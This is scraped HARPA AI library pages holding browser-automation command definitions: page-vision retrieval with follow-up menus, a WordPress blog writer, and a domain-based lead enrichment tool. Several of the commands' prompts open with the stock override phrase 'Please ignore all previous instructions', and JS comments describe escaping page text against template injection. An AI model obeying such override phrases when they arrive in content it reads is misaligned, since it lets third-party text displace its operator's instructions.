generated answer passes through here before the follow up menu is offered. // An empty or stub answer is not treated as a result, so the menu can offer a real // retry instead of letting the run end on a blank message. const raw = String(args.gpt == null ? '' : args.gpt).trim(); const chars = raw.length; return { ok: chars > 20 ? 'yes' : 'no', chars: chars, words: chars > 0 ? raw.split(/\s+/).length : 0 }; param: answerCheck timeout: 30000 onFailure: '' silent: true - condition: '{{answerCheck.ok}} = no' label: WARN EMPTY ANSWER type: say message: >- ⚠️ The model returned nothing usable for this output. The record is still loaded — pick **RETURN BACK** below and choose an output again, or type what you want instead. No frame is captured a second time. - label: FOLLOW UP MENU type: ask message: >- Anything else for this page? Pick one, or type another instruction or question — the record stays loaded, so nothing is captured again. param: change options: - label: ⬇️ SHORTEN · keep only the essentials value: shorten - label: 💬 SIMPLIFY · plainer language value: simplify - label: 🔍 CLARIFY · sharper and less ambiguous value: clarify - label: 📐 EXPAND · more depth and detail value: expand - label: 🌍 TRANSLATE · the same result in another language value: translate - label: 🕵️ FACT CHECK · hand over to the Fact check command value: factCheck - label: 📦 EXPORT · download or copy the result value: export - label: ♻️ REPURPOSE · hand over to the Repurpose text command value: repurpose - label: 🔙 RETURN BACK · another output from the same record value: return - value: $custom - label: 🔄 READING METHOD · switch between the full record and retrieval value: method default: return vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - condition: '{{change}} = translate' label: TRANSLATE RESULT type: group steps: - label: ASK TARGET LANGUAGE type: ask message: Into which language should the current result be translated? param: targetLanguage options: null default: English vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - label: TRANSLATE THE ANSWER type: gpt prompt: >- Please ignore all previous instructions. Translate the [TEXT] into {{targetLanguage}}. Output nothing but the translation: no preamble, no quotes around it, no commentary. Keep the markdown structure, the headings, the tables and the code blocks exactly as they are. Keep numbers, units, dates, proper nouns and quoted passages faithful; translate the surrounding prose. [TEXT]: {{gpt}} [TRANSLATION]: param: gpt isolated: true - label: AFTER TRANSLATION type: jump to: VERIFY OUTPUT - condition: '{{change}} = export' label: ROUTE FOLLOW UP EXPORT type: jump to: EXPORT ARTIFACTS - condition: '{{change}} = repurpose' label: ROUTE FOLLOW UP REPURPOSE type: jump to: REPURPOSE HANDOFF - condition: '{{change}} = return' label: ROUTE BACK TO OUTPUT MENU type: jump to: SELECT OUTPUT - condition: - '{{change}} = shorten' - '{{change}} = simplify' - '{{change}} = clarify' - '{{change}} = expand' label: REVISE RESULT type: group steps: - condition: '{{change}} = shorten' label: INSTRUCTION SHORTEN type: calc func: set param: changeInstruction value: >- Make it shorter, keeping only the most essential points. Drop repetition and padding, never drop a fact that carries weight. format: '' - condition: '{{change}} = simplify' label: INSTRUCTION SIMPLIFY type: calc func: set param: changeInstruction value: >- Simplify the text and rewrite it in more accessible language. Explain the terms that need explaining, keep the substance intact. format: '' - condition: '{{change}} = clarify' label: INSTRUCTION CLARIFY type: calc func: set param: changeInstruction value: >- Add clarity and conciseness. The text should be unambiguous, well ordered and easy to follow. format: '' - condition: '{{change}} = expand' label: INSTRUCTION EXPAND type: calc func: set param: changeInstruction value: >- Expand it. Add the depth, detail, figures and context that the record contains but the current answer left out. format: '' - label: APPLY REVISION type: gpt prompt: >- Please ignore all previous instructions. Write only in {{outputLanguage}}. Revise the [TEXT TO CHANGE] according to the [CHANGES TO MAKE]. Output nothing but the revised reply: do not echo this command, do not put quotes around the result, do not add commentary. Stay grounded in the [EVIDENCE] and never add facts it does not contain. [CHANGES TO MAKE]: {{changeInstruction}} [TEXT TO CHANGE]: {{gpt}} [EVIDENCE]: {{citationRule}}{{evidence}} [REVISED REPLY]: param: gpt isolated: true - label: AFTER REVISION type: jump to: VERIFY OUTPUT - condition: '{{change}} = factCheck' label: FACT CHECK HANDOFF type: group steps: - label: STAGE FACT CHECK INPUT type: js args: gpt, payload code: >- // FULL PAGE VISION · STAGE A HANDOVER // Picks what to hand to the other command - the current answer if there is one, the record // otherwise - and armours it for exactly one interpolation hop. // // This used to be a CALC step, `handoff = '{{gpt}}'`, with a second CALC falling back to // `{{payload}}`. Both of those are interpolations, and the engine consumes one layer of the // `{{\` escape per interpolation. So the staged text arrived stripped, and the very next hop // - `inputs: ['{{handoff}}']` - interpolated it again, this time with nothing protecting it: // a `{{page}}` or `{{serp x}}` transcribed off the page went live on the way into the other // command. Selecting the source in JS means no interpolation happens here at all, and the one // layer added at the end is spent by the handover itself, so the receiving command is given // the literal text that stood on the page. function strip(value) { return String(value == null ? '' : value).replace(/\{\{\\+/g, '{{'); } function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const answer = strip(args.gpt).trim(); const record = strip(args.payload).trim(); const text = answer !== '' ? answer : record; if (text === '') return ''; return harden(text); param: handoff timeout: 30000 onFailure: '' silent: true - label: CALL FACT CHECK COMMAND type: command name: Fact check inputs: - '{{handoff}}' silent: false - label: AFTER FACT CHECK type: jump to: FOLLOW UP MENU - condition: '{{change-option}} = $custom' label: CUSTOM FOLLOW UP type: group steps: - condition: '{{method}} = retrieval' label: PREPARE THE EVIDENCE FOR THE FOLLOW UP type: group steps: - label: BUILD THE FOLLOW UP QUERY type: js args: format, focus, change code: >- // FULL PAGE VISION · WHAT THIS REQUEST IS LOOKING FOR // Turns the request at hand into something the index can be searched with. Three sources, in // order of precedence: a follow-up the user just typed, the instruction given before the // reading, and otherwise the output mode that was picked from the menu. // // The output modes are not questions, so they cannot be searched for as if they were. Each // one is described by the record labels it lives in and by the words the record uses inside // those labels - `**Visual:**` for a visual analysis, `**Table:**` and `**Data:**` for a data // extraction - and the ones that are inherently about the whole page are marked `spread`, // which makes the selector sample evenly across every frame instead of piling up wherever the // keywords happen to cluster. A summary built from the top of a ranking is not a summary. function clean(v) { return String(v == null ? '' : v).replace(/\s+/g, ' ').trim(); } const MODES = { quick: { intent: 'SUMMARY', spread: true, labels: [], text: '' }, full: { intent: 'SUMMARY', spread: true, labels: [], text: '' }, structured: { intent: 'SUMMARY', spread: true, labels: [], text: '' }, rebuild: { intent: 'SUMMARY', spread: true, labels: [], text: '' }, quoting: { intent: 'SUMMARY', spread: true, labels: ['Text', 'Heading'], text: '' }, visuals: { intent: 'TARGET', spread: false, labels: ['Visual'], text: 'image illustration photograph icon logo avatar chart diagram map screenshot figure colour layout typeface' }, data: { intent: 'TARGET', spread: false, labels: ['Table', 'Data'], text: 'number value price date percent currency unit table row column axis series total amount rating count' }, audit: { intent: 'TARGET', spread: false, labels: ['UI'], text: 'button link tab menu field form input checkbox dropdown search navigation label placeholder state disabled' }, links: { intent: 'TARGET', spread: false, labels: ['UI'], text: 'link button action navigation download tab menu href anchor call to action' } }; // The values the two menus can put into these slots. A menu value is a routing token, not // something to search the record for: retrieving the passages that contain the word "shorten" // would answer a question nobody asked. const MENU = { shorten: 1, simplify: 1, clarify: 1, expand: 1, translate: 1, factCheck: 1, export: 1, repurpose: 1, return: 1, retry: 1, no: 1, record: 1, focus: 1 }; const followUp = clean(args.change); const mode = clean(args.format).toLowerCase(); // A follow-up the user just typed outranks everything: it is the newest thing they said. if (followUp !== '' && !Object.prototype.hasOwnProperty.call(MENU, followUp) && !Object.prototype.hasOwnProperty.call(MODES, followUp)) { return { text: followUp, intent: 'QUERY', spread: false, labels: [], skip: false, source: 'follow-up' }; } // The instruction given before the reading, when the focused answer is what is being produced. let request = ''; try { const f = args.focus; if (f && typeof f === 'object' && f.request) request = clean(f.request); } catch (e) { request = ''; } if (mode === 'focus' && request !== '') { return { text: request, intent: 'QUERY', spread: false, labels: [], skip: false, source: 'instruction' }; } // Two outputs never read the evidence at all: SHOW THE RECORD prints the whole record and // the export writes it to a file. Running a selection for them would burn a BM25 pass over // every passage to produce something nobody looks at. if (mode === 'record' || mode === 'export') { return { text: '', intent: 'NONE', spread: true, labels: [], skip: true, source: 'not needed' }; } const preset = Object.prototype.hasOwnProperty.call(MODES, mode) ? MODES[mode] : null; if (preset) { // The instruction from before the reading still colours a preset output, because it is // what the record was written to serve. const text = (preset.text + ' ' + request).trim(); return { text: text, intent: preset.intent, spread: preset.spread, labels: preset.labels, skip: false, source: 'output mode' }; } // Anything else in the output menu is a free instruction typed by the user. if (mode !== '') { return { text: clean(args.format), intent: 'QUERY', spread: false, labels: [], skip: false, source: 'instruction' }; } return { text: request, intent: 'SUMMARY', spread: true, labels: [], skip: false, source: 'whole record' }; param: query timeout: 30000 onFailure: '' silent: true - label: SELECT THE EVIDENCE FOR THE FOLLOW UP type: js args: passages, query, payload code: >- // FULL PAGE VISION · EVIDENCE SELECTION // Picks the passages this one request needs and lays them out with a map that binds every // passage number to the frame it came from. // // The scoring is BM25 over the passage index, run once per keyword set and fused by // reciprocal rank, which is the standard way to combine several rankings without having to // make their scores comparable. Three sets are used: // // A · the request's own words. // B · dictionary-free prefix stems of them, so an inflected language still matches - // "Schriftarten" in the request finds "Schriftart" in the record without anybody // shipping a stemmer. // C · the words the record itself uses around the first-pass hits. This is the classic // pseudo-relevance feedback step: take the strongest passages from pass one, find the // terms that are common inside them and rare everywhere else, and search again with // those. It is the same job the source command gives to a model - "keywords that would // appear inside the ANSWER passage itself, phrased the way this corpus phrases things" - // except that here the corpus is asked instead of guessed, which costs nothing, cannot // hallucinate a term, and is automatically in the record's own language and wording. // // Three things make this different from a plain search: // // * LABEL BOOST. Our passages are not prose, they are labelled bullets. A data extraction // wants the passages carrying `**Table:**` and `**Data:**`, and saying so directly beats // hoping the word "table" happens to appear. // // * SPREAD. A summary, a report or a page rebuild is about the whole page. Ranking cannot // answer that question - the top of any ranking is wherever the keywords cluster - so // these sample evenly across the frames instead, from the first to the last. // // * NEIGHBOURS. A bullet cut at a passage border finishes in the next one. After the // selection is made, a few immediate neighbours of the strongest hits are pulled in, in // reading order, so a `**Cut:**` never arrives without its other half. // // The output is always in reading order, never in score order: the record's own sequence is // information, and a model handed frames 12, 3, 40, 7 has to reconstruct it before it can use // anything. const BUDGET = 40000; const RRF_K = 60; const MAX_PICK = 60; function norm(s) { return String(s == null ? '' : s) .normalize('NFKC') .replace(/[\u2010-\u2015\u2212]/g, '-') .replace(/[\u2018\u2019\u201C\u201D\u00AB\u00BB]/g, '"') .replace(/\s+/g, ' ') .toLowerCase() .trim(); } const CJK = /[\u3040-\u30FF\u3400-\u4DBF\u4E00-\u9FFF\uAC00-\uD7AF\u0E00-\u0E7F]/; function words(s) { const out = []; const parts = norm(s).split(/[^\p{L}\p{N}\p{M}]+/u); for (let i = 0; i < parts.length; i++) { const p = parts[i]; if (!p) continue; if (CJK.test(p)) { if (p.length <= 2) { out.push(p); continue; } for (let j = 0; j + 2 <= p.length; j++) out.push(p.substr(j, 2)); } else if (p.length >= 3) { out.push(p); } } return out; } function uniq(list, cap) { const seen = {}, out = []; for (let i = 0; i < list.length; i++) { const k = list[i]; if (!k || seen[k]) continue; seen[k] = 1; out.push(k); if (cap && out.length >= cap) break; } return out; } // A hit only counts when the term starts at a word boundary. Without that guard "art" scores // on "start", "particular" and "Artefakte", and a request about typefaces retrieves the // sidebar. const WORDCH = /[0-9\p{L}\p{M}]/u; function tf(hay, kw) { let n = 0, i = 0; while ((i = hay.indexOf(kw, i)) !== -1) { if (i === 0 || !WORDCH.test(hay.charAt(i - 1))) n++; i += kw.length; } return n; } let index = { chunks: [], totalChunks: 0, totalChars: 0 }; try { const p = args.passages; if (p && typeof p === 'object' && p.chunks) index = p; } catch (e) { /* fall through to the whole record */ } const chunks = index.chunks || []; const fallback = String(args.payload == null ? '' : args.payload); if (!chunks.length) { return { text: fallback, stats: '', picked: 0, total: 0, ok: 'no', mode: 'whole record' }; } let q = { text: '', intent: 'SUMMARY', spread: true, labels: [] }; try { const raw = args.query; if (raw && typeof raw === 'object') q = raw; } catch (e) { /* keep the default */ } const labels = Array.isArray(q.labels) ? q.labels : []; const spread = q.spread === true || q.spread === 'true'; // Some outputs do not read the evidence at all. Selecting for them would be a full BM25 pass // over every passage to produce something nobody looks at. if (q.skip === true || q.skip === 'true') { return { text: fallback, stats: '', picked: 0, total: 0, ok: 'no', mode: 'not needed', views: 0, expanded: 0 }; } const N = chunks.length; const lower = chunks.map(function (c) { return norm(c.text); }); const lens = chunks.map(function (c) { return String(c.text).length; }); let avgdl = 0; for (let i = 0; i < N; i++) avgdl += lens[i]; avgdl = avgdl / Math.max(N, 1); // Which passages carry the labels this output lives in. const labelHit = chunks.map(function (c) { if (!labels.length) return false; for (let i = 0; i < labels.length; i++) { if (String(c.text).indexOf('**' + labels[i] + ':**') !== -1) return true; } return false; }); function rank(kws) { const k1 = 1.5, b = 0.75, df = {}; kws.forEach(function (kw) { let c = 0; for (let i = 0; i < N; i++) if (lower[i].indexOf(kw) !== -1) c++; df[kw] = c; }); const scored = []; for (let i = 0; i < N; i++) { let sc = 0; for (let j = 0; j < kws.length; j++) { const t = tf(lower[i], kws[j]); if (t <= 0) continue; const idf = Math.log((N - df[kws[j]] + 0.5) / (df[kws[j]] + 0.5) + 1); sc += idf * (t * (k1 + 1)) / (t + k1 * (1 - b + b * lens[i] / avgdl)); } if (sc > 0) scored.push({ i: i, s: sc }); } scored.sort(function (a, b2) { return b2.s - a.s; }); return scored; } const surface = uniq(words(q.text || ''), 24); const stems = uniq(surface.map(function (w) { if (w.length < 6) return ''; const cut = Math.max(5, Math.ceil(w.length * 0.75)); return cut < w.length ? w.slice(0, cut) : ''; }).filter(Boolean), 24).filter(function (x) { return surface.indexOf(x) === -1; }); const sets = []; if (surface.length) sets.push(surface); if (stems.length) sets.push(stems); const rrf = {}; let bestRaw = 0; let views = 0; let firstPass = []; function fuse(kws) { const ranked = rank(kws); if (!ranked.length) return []; if (ranked[0].s > bestRaw) bestRaw = ranked[0].s; for (let r = 0; r < ranked.length && r < 80; r++) { rrf[ranked[r].i] = (rrf[ranked[r].i] || 0) + 1 / (RRF_K + r + 1); } views++; return ranked; } for (let si = 0; si < sets.length; si++) { const ranked = fuse(sets[si]); if (si === 0) firstPass = ranked; } // Set C · pseudo-relevance feedback. Only for a question somebody actually typed: a canned // word list for a preset output has nothing to expand, and expanding a spread query would // pull the sample towards whatever the first pass happened to like. let expansion = []; if (String(q.intent || '') === 'QUERY' && firstPass.length) { const top = firstPass.slice(0, 5).map(function (x) { return x.i; }); const inTop = {}; top.forEach(function (i) { const seen = {}; words(chunks[i].text).forEach(function (w) { if (seen[w]) return; seen[w] = 1; inTop[w] = (inTop[w] || 0) + 1; }); }); const already = {}; sets.forEach(function (set) { set.forEach(function (w) { already[w] = 1; }); }); const cand = []; Object.keys(inTop).forEach(function (w) { if (already[w] || w.length < 4 || inTop[w] < 2) return; let df = 0; for (let i = 0; i < N; i++) if (lower[i].indexOf(w) !== -1) df++; if (df === 0 || df > N * 0.5) return; cand.push({ w: w, s: inTop[w] * Math.log(N / df) }); }); cand.sort(function (a, b2) { return b2.s - a.s; }); expansion = cand.slice(0, 12).map(function (c) { return c.w; }); if (expansion.length) fuse(expansion); } // The label boost is additive and deliberately large enough to outrank a weak lexical hit: // for a labelled output the label IS the query, and the words are only a tie-breaker. if (labels.length) { for (let i = 0; i < N; i++) { if (labelHit[i]) rrf[i] = (rrf[i] || 0) + 1 / RRF_K; } } let fused = Object.keys(rrf).map(function (k) { return { i: parseInt(k, 10), s: rrf[k] }; }); fused.sort(function (a, b2) { return b2.s - a.s; }); let picked = []; let mode; if (spread || !fused.length) { // Even coverage of the whole record, in reading order, as many as the budget allows. // "no lexical match" is only honest when there were words to match with: a summary has no // question behind it, so nothing failed - it was never a search in the first place. mode = fused.length ? 'spread' : (sets.length ? 'spread (no lexical match)' : 'spread (whole record)'); const step = Math.max(1, Math.floor(N / Math.max(1, Math.min(MAX_PICK, N)))); for (let i = 0; i < N && picked.length < MAX_PICK; i += step) picked.push(i); // The first and the last frame anchor a summary: the page starts and ends somewhere. if (picked.indexOf(0) === -1) picked.unshift(0); if (picked.indexOf(N - 1) === -1) picked.push(N - 1); // Strong lexical hits are added on top, because a spread is a floor and not a ceiling. for (let f = 0; f < fused.length && f < 12; f++) { if (picked.indexOf(fused[f].i) === -1) picked.push(fused[f].i); } } else { mode = labels.length ? 'labelled + ranked' : 'ranked'; for (let f = 0; f < fused.length && picked.length < MAX_PICK; f++) picked.push(fused[f].i); } // Neighbour recovery for the strongest hits, so a bullet cut at a border keeps its other half. const chosen = {}; picked.forEach(function (i) { chosen[i] = 1; }); let grown = 0; for (let p = 0; p < picked.length && grown < 8; p++) { const i = picked[p]; if (i > 0 && !chosen[i - 1]) { chosen[i - 1] = 1; picked.push(i - 1); grown++; } if (grown >= 8) break; if (i + 1 < N && !chosen[i + 1]) { chosen[i + 1] = 1; picked.push(i + 1); grown++; } } // Budget in order of strength, then restore reading order. const strength = {}; picked.forEach(function (i, r) { strength[i] = r; }); picked.sort(function (a, b2) { return strength[a] - strength[b2]; }); const selected = []; let used = 0; for (let p = 0; p < picked.length; p++) { const i = picked[p]; if (used + lens[i] > BUDGET && selected.length > 0) continue; selected.push(i); used += lens[i]; } selected.sort(function (a, b2) { return a - b2; }); if (!selected.length) { return { text: fallback, stats: '', picked: 0, total: N, ok: 'no', mode: 'whole record' }; } let map = ''; let body = ''; selected.forEach(function (i, k) { const n = k + 1; map += '[' + n + '] = ' + chunks[i].frame + '\n'; body += '[' + n + '] ' + chunks[i].text + '\n\n---\n\n'; }); const text = '━━━ EVIDENCE MAP ━━━\n' + map + '━━━━━━━━━━━━━━━━━━━━\n\n' + body.replace(/\n+---\n+$/, '\n'); const gaps = N - selected.length; const stats = '`' + selected.length + '/' + N + ' passages · ' + used.toLocaleString('en-US') + ' chars · ' + mode + ' · ' + views + ' query view' + (views === 1 ? '' : 's') + (expansion.length ? ' · expanded' : '') + (gaps > 0 ? ' · ' + gaps + ' passage(s) not sent' : ' · complete') + '`'; return { text: text, stats: stats, picked: selected.length, total: N, ok: 'yes', mode: mode, views: views, expanded: expansion.length }; param: selection timeout: 60000 onFailure: '' silent: true - label: ADOPT THE FOLLOW UP EVIDENCE type: calc func: set param: evidence value: '{{selection.text}}' format: '' - label: HARDEN THE FOLLOW UP EVIDENCE type: js args: evidence code: >- // FULL PAGE VISION · RE-ARMOUR THE EVIDENCE // The evidence arrives through a CALC step, and a CALC value is interpolated, which the // engine defines as consuming one layer of the `{{\` escape. So the text that reaches this // step has none left, and the prompt that receives it next would execute any `{{page}}` or // `{{serp x}}` the page happened to display. One layer goes back on, and the escape is // idempotent, so a value that still had one keeps exactly one. function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } return harden(args.evidence); param: evidence timeout: 60000 onFailure: '' silent: true - label: REPORT THE FOLLOW UP SELECTION type: say message: 🔎 {{selection.stats}} - label: APPLY CUSTOM FOLLOW UP type: gpt prompt: >- Please ignore all previous instructions. Write only in {{outputLanguage}}. {{buildRule}} Whatever stands under [REQUEST] is what you have to do. Apply it to the [CURRENT RESULT] where that is what it means, and to the [EVIDENCE] where it asks for something the current result does not hold. [RULES] - Do what the request says and output the result alone: no preamble, no account of what you did, no closing remark. Where it asks for code or a document, the answer is that code or that document and nothing else. - Never reply that the record "does not contain" what was asked for. The record contains the page; what was asked for is what you build out of it. A request to build something can always be carried out, because the material is already there. - Take every word, number, heading, label, price, name and image description from the record and reproduce it exactly. - Use every piece of visual form the record gives you - typefaces, sizes, colours, spacing, alignment, layout, order. Where the record is silent, choose something consistent with what it does say and carry on; do not stop to ask and do not leave a placeholder for a decision you can make yourself. - Where the record marks a region `[unreadable]` or `NOT READ`, put a clearly marked placeholder at that spot and continue. A gap never stops the work. - If the request is a question rather than a task, answer it from the record and name the frame it came from. [REQUEST]: {{change}} [CURRENT RESULT]: {{gpt}} [EVIDENCE]: {{citationRule}}{{evidence}} [ANSWER]: param: gpt isolated: true - label: AFTER CUSTOM FOLLOW UP type: jump to: VERIFY OUTPUT - condition: '{{change}} = method' label: SWITCH THE READING METHOD type: group steps: - label: ANNOUNCE THE METHOD SWITCH type: say message: >- 🔄 The record and its index are still loaded — nothing is captured again. - label: GO BACK TO THE METHOD QUESTION type: jump to: CHOOSE HOW THE RECORD IS READ - label: END type: stop - label: READING CANCELLED type: say message: >- ⛔ Stopped before reading. The frames were captured but not sent anywhere, so no vision request was spent. Run the command again whenever you want to go ahead. - label: END AFTER CANCEL type: stop Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | WordPress Blog Writer [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📚  WordPress Blog Writer ========================= Uses the web page content to write a WordPress-ready blog post in JSON format and send it via Make.com, Zapier, n8n etc. #grid #scenario ⭐️ DO NOT FORGET TO SET UP THE FORMAT ⭐️ ⭐️ RUN > CLICK SETTINGS⭐️ ⭐️ BY DEFAULT - HTML.⭐️ Make.com Template: https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13848 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Mar 13, 2025 19:46** Installed **151 times** 13 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: control action: show - type: group steps: - type: calc func: set param: g.wordpress.format format: json value: title: Short, catchy title with primary keyword (60 chars max) body: >- HTML content without H1. Must include SEO-optimized long-form article text with H2-H4 subheadings, 2000 words and more. meta: >- SEO meta description ≤155 chars containing primary keyword and value proposition slug: >- Lowercase hyphen-separated URL derived from title (e.g. 'seo-best-practices-2024'). Max 60 chars, no stopwords/special chars. faq: >- HTML formatted text, starting with an H2 FAQ heading, followed by 4 H3 headings containing natural language questions that target long-tail keywords. Each question should have a concise 40-60 word answer that includes relevant keywords and data. condition: '{{g.wordpress.format}} = ' label: SET DEFAULT FORMAT - param: g.wordpress.instructions format: auto value: >- Create a comprehensive, long-form content (2000+ words), adhering to Google's E-A-T guidelines, with the goal of ranking high on Google. - Do not include the publication date or mention the author of the article, even if it's referenced somewhere. - Use an H1 tag for the article's title, 8-12 H2s for main sections, and H3s for sub-sections. - Employ keyword-rich, meaningful subheadings that are direct and precise. - Focus on creating in-depth, informative paragraphs without an introduction or conclusion. - In the article text, include external links where possible. condition: '{{g.wordpress.instructions}} = ' label: SET DEFAULT INSTRUCTIONS type: calc func: set condition: '{{g.wordpress.instructions}} =' label: SET DEFAULT INSTRUCTIONS - type: ask param: option message: |- **JSON format:** {{g.wordpress.format}} **Style Instructions:** ```markdown {{g.wordpress.instructions}} ``` options: - label: ✅ START value: start - label: ⚙️ SETTINGS value: settings default: '' vision: enabled: false mode: area send: true hint: '' optionsInvalid: false - type: jump to: SETTINGS condition: '{{option}} = settings' - type: gpt prompt: >- Please ignore all previous instructions. Respond only in {{language}}. Act as a professional blogger and SEO expert. I will provide you with webpage content. I want you to find the main content, analyze it, and write: 1) A comprehensive article outline with h1-h3 for subsequent writing, 2) LSI keywords that should be used in the article to outperform the content I provided, 3) If available, external links that could be used from the current article I provided in my article that I am writing, including anchor words. Instructions: - All this information should help you later write a long-form article optimized for Google Search rankings. - Do not add additional comments or general phrases, write only the answer to my task. - For the subsequent article, I have the following criteria, take this into account in the outline. {{g.wordpress.instructions}} - Do not start writing the article or perform anything that goes beyond the current task. [WEBPAGE CONTENT]: {{page}} [SEO-optimized Article outline, LSI keywords, and links for insertion into\ the article]: condition: '{{option}} = start' isolated: true param: gpt - prompt: >- Now I want you, based on your previous response (outline, keywords and links) and the previous context, to write me a comprehensive long-form article in {{language}} that covers all the main topics and questions discussed, optimized for Google Search rankings. Follow the instructions: {{g.wordpress.instructions}} - The content of each h2 or h3 chapter should be at least 4 comprehensive sentences. - Respond only with a JSON, no extra comments or general phrases, fill in all fields that I specify below. - Do not echo my prompt. - Wrap your JSON response in a code block. - Respond with a JSON file adhering to this format: ```json {{g.wordpress.format}} ``` - Make sure you filled in all JSON fields according to my instructions. [Please provide your JSON response with all fields and a maximum length\ long-form article]: type: gpt condition: '{{option}} = start' isolated: false param: '' - func: extract-json type: calc to: json param: gpt index: all - type: say message: '{{json}}' - param: action options: - label: ✅ DONE value: done - label: ⚙️ SETTINGS value: settings vision: enabled: false mode: area hint: '' send: true type: ask message: '' default: '' optionsInvalid: false - type: stop condition: '{{action}} = done' - steps: - message: >- ⚙️ The command is made for the standard JSON format used by WordPress, but you can change the template and revert to the default setting at any time. **Current template:** {{g.wordpress.format}} options: null vision: enabled: false mode: area hint: '' send: true label: ASK FORMAT type: ask param: g.wordpress.format default: '' optionsInvalid: false - type: calc func: extract-json to: g.wordpress.format param: g.wordpress.format index: '' - message: >- 💬 You can customize additional writing instructions not included in the JSON format by describing the required writing style or other features. Currently: ```markdown {{g.wordpress.instructions}} ``` vision: enabled: false mode: area hint: '' send: true label: ASK INSTRUCTIONS type: ask param: g.wordpress.instructions options: null default: '' optionsInvalid: false - type: say message: ✅ Saved. - type: stop condition: - '{{action}} = settings' - '{{option}} = settings' type: group label: SETTINGS Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Database Enrichment [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 📦  Database Enrichment ======================= Works with your existing customer or lead database that has business email addresses. It analyzes domain data to enrich your database with additional information about your customers' businesses. #make #grid --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **HARPA AI** Updated on **Mar 27, 2025 17:25** Installed **157 times** 13 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: input message: Send me a link, email, or start searching for data within a current webpage. options: - label: ✅ USE WEBPAGE value: start - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: group steps: - type: js args: input code: |- function extractDomain(input) { let domain; // Check if the input is a valid URL try { const url = new URL(input); domain = url.hostname; // Extract domain from URL } catch (e) { // If input is not a URL, assume it's an email const emailParts = input.split('@'); if (emailParts.length > 1) { domain = emailParts[1]; // Extract domain from email } else { domain = null; // Not a valid URL or email } } return domain; } return extractDomain(input); param: link timeout: 15000 onFailure: '' silent: true - type: navigate url: '{{link}}' waitForIdle: false silent: false onFailure: '' - type: wait for: 2s silent: true label: EXTRACT DOMAIN condition: '{{input}} != start' - prompt: >- You are a Data Research AI Agent. Your task is to extract data from a web page and respond with JSON as requested. Follow these instructions: - Analyze the web page and all the information needed to fill the requested JSON fields: ``` { "website": "{{url}}", "name": "official business name", "description": "Detailed description of the products or services offered by the business.", "industry": "Brief 1-2 word description of company industry, using common abbreviations, for example, 'SaaS', 'SEO', 'B2B Web Development', and others. Don't use the word 'industry' or 'agency.", "location": "Company address or any known location details, e.g.: country", "phone": "Phone number if found on the page", "extraEmail": "Email address if found on the page, or 'Contact Form' if a contact form is present" } ``` - If I haven't described criteria for determining the information for corresponding fields, decide this independently based on your judgment. - Respond in {{language}}. - Be concise and to the point. - Respond with a JSON, write nothing more. - Wrap your JSON response in a code block. Webpage URL: {{url}} Webpage Data: {{page}} Webpage Description: {{description}} JSON response: type: gpt param: json isolated: true - type: calc func: extract-json to: json param: json index: '' - message: |- The result is saved in the "**json**" parameter: {{json}} type: say interpolate: true Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses 